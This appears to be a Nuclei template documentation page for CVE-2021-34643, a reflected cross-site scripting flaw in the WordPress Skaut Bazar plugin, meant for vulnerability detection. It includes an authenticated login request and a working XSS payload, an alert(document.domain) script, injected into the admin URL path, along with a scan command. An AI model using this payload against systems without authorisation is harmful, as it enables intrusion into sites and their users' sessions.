Skip to content
Nuclei Templates

WordPress Skaut Bazar <1.3.3 - Cross-Site Scripting

ID: CVE-2021-34643

Severity: medium

Author: dhiyaneshDK

Tags: cve2021,cve,wpscan,wordpress,wp-plugin,authenticated,skaut-bazar_project,xss

Description

Section titled “Description”

WordPress Skaut Bazar plugin before 1.3.3 contains a reflected cross-site scripting vulnerability due to the use of $_SERVER[‘PHP_SELF’] in the ~/skaut-bazar.php file, which allows attackers to inject arbitrary web scripts.

YAML Source

Section titled “YAML Source”
id: CVE-2021-34643


info:
  name: WordPress Skaut Bazar <1.3.3 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Skaut Bazar plugin before 1.3.3 contains a reflected cross-site scripting vulnerability due to the use of $_SERVER['PHP_SELF'] in the ~/skaut-bazar.php file, which allows attackers to inject arbitrary web scripts.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of WordPress Skaut Bazar plugin (1.3.3) or apply the vendor-provided patch to fix the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/c1b41276-b8fb-4a5c-bede-84ea62663b7a
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34643
    - https://plugins.trac.wordpress.org/browser/skaut-bazar/tags/1.3.2/skaut-bazar.php#L657
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34643
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-34643
    cwe-id: CWE-79
    epss-score: 0.00123
    epss-percentile: 0.46682
    cpe: cpe:2.3:a:skaut-bazar_project:skaut-bazar:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: skaut-bazar_project
    product: skaut-bazar
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,wp-plugin,authenticated,skaut-bazar_project,xss


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/options-general.php/</script><script>alert(document.domain)</script>/?page=skatubazar_option HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4b0a00483046022100fa4c0df649d9de9dde4a1293adb3f67eba4efb3b542e5af4205760a7b3e551620221008f9420af74a774f63c7cbd999680c29de45556f914f1ee5fe6336aa8dfa49300:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-34643.yaml"

View on Github